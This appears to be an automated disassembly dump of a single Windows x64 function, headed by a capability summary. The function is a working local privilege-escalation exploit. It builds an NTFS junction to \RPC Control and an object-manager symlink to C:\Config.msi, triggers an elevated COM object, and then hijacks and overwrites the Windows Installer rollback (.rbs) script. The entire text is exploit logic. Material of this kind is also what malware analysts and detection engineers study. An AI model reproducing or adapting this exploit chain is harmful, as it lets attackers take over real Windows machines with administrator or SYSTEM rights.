Function at 0x140001440
Capabilities:
Create thread
Delete directory
Link many functions at runtime
Write file on windows

Disassembly:
push rbp
push rdi
lea rbp, [rsp - 0x1408]
mov eax, 0x1508
call fcn.140017c10
sub rsp, rax
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rbp + 0x13f0], rax
lea rcx, [0x140021ad8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
je 0x14000150e
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateFile
mov rcx, rdi
mov qword [0x140026ed8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x140021b18]
mov rcx, rdi
mov qword [0x140026ec0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtSetInformationFile
mov rcx, rdi
mov qword [0x140026ed0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlEnterCriticalSection
mov rcx, rdi
mov qword [0x140026ec8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlLeaveCriticalSection
mov rcx, rdi
mov qword [0x140026eb0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140026eb8], rax
jmp 0x140001515
mov rax, qword [0x140026eb8]
cmp qword [0x140026ed8], 0
je 0x140001f0d
cmp qword [0x140026ec0], 0
je 0x140001f0d
cmp qword [0x140026ed0], 0
je 0x140001f0d
test rax, rax
je 0x140001f0d
cmp qword [0x140026eb0], 0
je 0x140001f0d
cmp qword [0x140026ec8], 0
je 0x140001f0d
lea r8, str.C:windows_tempuac_
mov qword [rsp + 0x1530], r12
lea rdx, str.___s
lea rcx, [rbp - 0x30]
call fcn.140001380
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x58]
call qword [0x140026ed8]
xor r12d, r12d
mov qword [rsp + 0x78], 0x30
mov dword [rsp + 0x50], r12d
lea rax, [rbp - 0x58]
mov qword [rsp + 0x48], r12
lea r9, [rbp - 0x48]
mov dword [rsp + 0x40], 0x200001
lea r8, [rsp + 0x78]
mov dword [rsp + 0x38], 3
lea rcx, [rsp + 0x68]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov qword [rsp + 0x20], r12
mov qword [rbp - 0x70], 0x40
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], rax
movdqu xmmword [rbp - 0x68], xmm0
call qword [0x140026ec0]
mov dword [0x140026ee0], eax
test eax, eax
js 0x140001634
cmp qword [rsp + 0x68], 0xffffffffffffffff
jne 0x140001634
lea rdx, str.C:windows_tempuac_
lea rcx, str.____Failed_to_create__ls_n_directory
call fcn.1400013e0
lea eax, [r12 + 1]
jmp 0x1400018c4
mov qword [rsp + 0x1520], rbx
lea rcx, str.C:windows_tempuac_
xor r9d, r9d
mov qword [rsp + 0x1528], rsi
mov qword [rsp + 0x30], r12
mov edx, 0x100
mov qword [rsp + 0x1538], r14
mov dword [rsp + 0x28], 0x2200000
lea r8d, [r9 + 1]
mov qword [rsp + 0x1500], r15
mov word [rsp + 0x60], r12w
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x1400016b0
lea rdx, str.C:windows_tempuac_
lea rcx, str.____Failed_to_obtain_handle_on_directory__ls._n
call fcn.1400013e0
lea rcx, str.____Exiting__n
jmp 0x14000189a
lea rax, [rsp + 0x60]
mov rsi, 0xffffffffffffffff
nop dword [rax]
inc rsi
cmp word [rax + rsi*2], r12w
jne 0x1400016c0
add rsi, rsi
lea rdi, [rsi + 0x24]
lea rcx, [rdi + 8]
call fcn.14000b4fc
mov r14, rax
lea r8, [rsi + 2]
lea rdx, [rsp + 0x60]
mov dword [rax], 0xa0000003
mov word [rax + 4], di
lea rcx, [r14 + 0x2a]
mov dword [rax + 6], r12d
mov word [rax + 0xa], 0x18
movups xmm0, xmmword [str.RPC_Control]
movups xmmword [rax + 0x10], xmm0
movsd xmm0, qword [0x140021838]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x140021840]
mov word [r14 + 0x28], ax
mov word [r14 + 0xc], 0x1a
mov word [r14 + 0xe], si
call fcn.140006230
mov qword [rsp + 0x38], r12
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea r9d, [rdi + 8]
mov dword [rsp + 0x28], r12d
mov r8, r14
mov edx, 0x900a4
mov qword [rsp + 0x20], r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140001ee5
lea r8, str.RPC_Control
lea rdx, str.C:windows_tempuac_
lea rcx, str.___Junction__ls_____ls_created__n
call fcn.1400013e0
mov rcx, r14
call fcn.14000b4e8
lea r8, str.C:Config.msi::_INDEX_ALLOCATION
lea rdx, str.___s
lea rcx, [rbp - 0x30]
call fcn.140001380
lea r8, [rbp - 0x30]
mov ecx, 9
lea rdx, str.GlobalGLOBALROOTRPC_Control1337.ttdconfig
call qword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
test eax, eax
je 0x140001ec5
lea r8, [rbp - 0x30]
lea rdx, str.GlobalGLOBALROOTRPC_Control1337.ttdconfig
lea rcx, str.___Symlink__ls_____ls_created__n
call fcn.1400013e0
lea r8, str.C:Config.msi
lea rdx, str.___s
lea rcx, [rbp - 0x30]
call fcn.140001380
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x48]
call qword [0x140026ed8]
mov dword [rsp + 0x50], r12d
lea rax, [rbp - 0x48]
mov qword [rsp + 0x48], r12
lea r9, [rbp - 0x58]
mov dword [rsp + 0x40], 0x200001
lea r8, [rsp + 0x78]
mov dword [rsp + 0x38], 3
lea rcx, [rsp + 0x68]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0x80
mov edx, 0x80010000
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x78], 0x30
mov qword [rbp - 0x70], 0x40
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], rax
movdqu xmmword [rbp - 0x68], xmm0
call qword [0x140026ec0]
mov dword [0x140026ee0], eax
test eax, eax
jns 0x1400018e5
mov qword [0x140026ea8], r12
lea rcx, str.C:Config.Msi
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyW]
test eax, eax
jne 0x1400019f1
lea rcx, str.____Failed.__C:Config.Msi_already_exists_and_is_not_empty._n
call fcn.1400013e0
mov eax, 1
mov r14, qword [rsp + 0x1538]
mov rbx, qword [rsp + 0x1520]
mov rsi, qword [rsp + 0x1528]
mov r15, qword [rsp + 0x1500]
mov r12, qword [rsp + 0x1530]
mov rcx, qword [rbp + 0x13f0]
xor rcx, rsp
call fcn.140002980
add rsp, 0x1508
pop rdi
pop rbp
ret
mov rax, qword [rsp + 0x68]
mov qword [0x140026ea8], rax
cmp rax, 0xffffffffffffffff
jne 0x14000187e
lea rcx, str.____Failed_to_create_C:Config.msi_directory._Trying_to_delete_it._n
call fcn.1400013e0
xor ecx, ecx
call fcn.140002310
lea r8, str.C:Config.msi
lea rdx, str.___s
lea rcx, [rbp - 0x30]
call fcn.140001380
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x48]
call qword [0x140026ed8]
mov dword [rsp + 0x50], r12d
lea rax, [rbp - 0x48]
mov qword [rsp + 0x48], r12
lea r9, [rbp - 0x58]
mov dword [rsp + 0x40], 0x200001
lea r8, [rsp + 0x78]
mov dword [rsp + 0x38], 3
lea rcx, [rsp + 0x68]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0x80
mov edx, 0x80010000
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x78], 0x30
mov qword [rbp - 0x70], 0x40
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], rax
movdqu xmmword [rbp - 0x68], xmm0
call qword [0x140026ec0]
mov dword [0x140026ee0], eax
test eax, eax
jns 0x1400019c2
lea rcx, str.___Successfully_removed_and_recreated_C:Config.Msi._n
mov qword [0x140026ea8], r12
call fcn.1400013e0
jmp 0x14000187e
mov rax, qword [rsp + 0x68]
mov qword [0x140026ea8], rax
cmp rax, 0xffffffffffffffff
je 0x1400019e5
lea rcx, str.___Successfully_removed_and_recreated_C:Config.Msi._n
call fcn.1400013e0
jmp 0x14000187e
lea rcx, str.____Failed._Cannot_remove_c:Config.msi
jmp 0x14000189a
lea rcx, str.___Config.msi_directory_created__n
call fcn.1400013e0
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140002920]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call fcn.1400010b0
mov rbx, rax
test rax, rax
je 0x140001b50
call fcn.140001f30
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
xor eax, eax
lea rdi, [rsp + 0x78]
mov ecx, 0x30
rep stosb byte [rdi], al
lea rcx, str.C:windows_tempuac_
mov dword [rsp + 0x78], 0x30
mov dword [rbp - 0x74], 4
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
lea rcx, str.Process1337
mov rsi, rax
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
lea r9, [rsp + 0x68]
mov r14, rax
lea r8, [0x140021df0]
lea rdx, [rsp + 0x78]
lea rcx, str.Elevation:Administrator_new:2C256447_3F0D_4CBB_9D12_575BB20CDA0A
call qword [sym.imp.ole32.dll_CoGetObject]
test eax, eax
js 0x140001ae5
mov rcx, qword [rsp + 0x68]
mov r8, rsi
mov rdx, r14
mov rdi, qword [rcx]
call qword [rdi + 0x30]
mov rcx, qword [rbx + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbx + 0x58]
test rcx, rcx
je 0x140001b16
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
mov rcx, qword [rbx + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolWait]
mov qword [rbx + 0x58], r12
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x140001b29
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x20], r12
mov rcx, qword [rbx]
cmp rcx, 0xffffffffffffffff
je 0x140001b3f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], 0xffffffffffffffff
mov edx, 0x68
mov rcx, rbx
call fcn.1400029dc
nop dword [rax]
lea r8, str.C:Config.msi
lea rdx, str.___s
lea rcx, [rbp - 0x30]
call fcn.140001380
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x48]
call qword [0x140026ed8]
mov dword [rsp + 0x50], r12d
lea rax, [rbp - 0x48]
mov qword [rsp + 0x48], r12
lea r9, [rbp - 0x58]
mov dword [rsp + 0x40], 0x200001
lea r8, [rsp + 0x78]
mov dword [rsp + 0x38], 3
lea rcx, [rsp + 0x68]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 0x80
mov edx, 0x80070000
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x78], 0x30
mov qword [rbp - 0x70], 0x40
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], rax
movdqu xmmword [rbp - 0x68], xmm0
call qword [0x140026ec0]
mov dword [0x140026ee0], eax
test eax, eax
jns 0x140001bfc
mov qword [0x140026ea8], r12
jmp 0x140001b50
mov rcx, qword [rsp + 0x68]
mov qword [0x140026ea8], rcx
test rcx, rcx
je 0x140001b50
mov dword [rbp - 0x38], r12d
lea rdi, str..rbs
nop dword [rax]
mov qword [rsp + 0x38], r12
lea rax, [rbp - 0x38]
mov qword [rsp + 0x30], r12
lea rdx, [rbp + 0x3f0]
mov qword [rsp + 0x28], rax
mov r9d, 1
mov r8d, 0xffe
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
mov eax, dword [rbp + 0x3f8]
lea r8, [rsp + 0x70]
shr rax, 1
lea rcx, [rbp + 0x3fc]
mov edx, 0x104
mov word [rbp + rax*2 + 0x3fc], r12w
call qword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathCchFindExtension]
mov rdx, qword [rsp + 0x70]
mov rax, r12
nop word [rax + rax]
movzx ecx, word [rdx + rax*2]
inc rax
cmp cx, word [rdi + rax*2 - 2]
jne 0x140001e91
cmp rax, 5
jne 0x140001c90
mov rcx, qword [0x140026ea8]
lea edx, [rax - 4]
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov qword [rsp + 0x28], r12
mov r8d, 0x20000004
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
call fcn.140002470
test eax, eax
je 0x140001cd0
lea r8, str.C:Config.msi
lea rdx, str.___s
lea rcx, [rbp - 0x30]
call fcn.140001380
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x48]
call qword [0x140026ed8]
mov dword [rsp + 0x50], r12d
lea rax, [rbp - 0x48]
mov qword [rsp + 0x48], r12
lea r9, [rbp - 0x58]
mov dword [rsp + 0x40], 0x200001
lea r8, [rsp + 0x78]
mov dword [rsp + 0x38], 2
lea rcx, [rsp + 0x68]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 0x80
mov edx, 1
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x78], 0x30
mov qword [rbp - 0x70], 0x40
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], rax
movdqu xmmword [rbp - 0x68], xmm0
call qword [0x140026ec0]
mov rbx, qword [rsp + 0x68]
lea r8, [rbp + 0x3fc]
test eax, eax
mov dword [0x140026ee0], eax
lea rdx, str.C:Config.msi_s
lea rcx, [rbp + 0x1e0]
cmovs rbx, r12
call fcn.140001320
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x1e0]
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r8d, dword [0x140026ee4]
xor r9d, r9d
mov rdx, qword [0x140026ef0]
mov rcx, rax
mov rdi, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
lea rdx, str.____Failed_to_overwrite_rbs_file__n
lea rcx, str.___RBS_file_overwritten__n
cmove rcx, rdx
call fcn.1400013e0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, str.C:windows_tempuac_
lea rdx, str.___s
lea rcx, [rbp - 0x30]
call fcn.140001380
lea rcx, [rbp - 0x30]
call fcn.1400021a0
lea r8, str.C:Config.msi::_INDEX_ALLOCATION
lea rdx, str.___s
lea rcx, [rbp - 0x30]
call fcn.140001380
lea r8, [rbp - 0x30]
mov ecx, 0xf
lea rdx, str.GlobalGLOBALROOTRPC_Control1337.ttdconfig
call qword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
test eax, eax
je 0x140001e9d
lea r8, [rbp - 0x30]
lea rdx, str.GlobalGLOBALROOTRPC_Control1337.ttdconfig
lea rcx, str.___Symlink__ls_____ls_deleted__n
call fcn.1400013e0
lea rcx, str.C:windows_tempuac_
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor eax, eax
jmp 0x1400018a4
mov rcx, qword [0x140026ea8]
jmp 0x140001c20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error_:_d_n
call fcn.1400013e0
lea rcx, str.C:windows_tempuac_
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor eax, eax
jmp 0x1400018a4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error_:_d_n
call fcn.1400013e0
lea rcx, str.____Exiting__n
jmp 0x14000189a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error:__d._Exiting_n
call fcn.1400013e0
mov rcx, r14
call fcn.14000b4e8
lea rcx, str.____Exiting__n
jmp 0x14000189a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cannot_load_apis__d_n
call fcn.1400013e0
xor ecx, ecx
call fcn.140006ba8
int3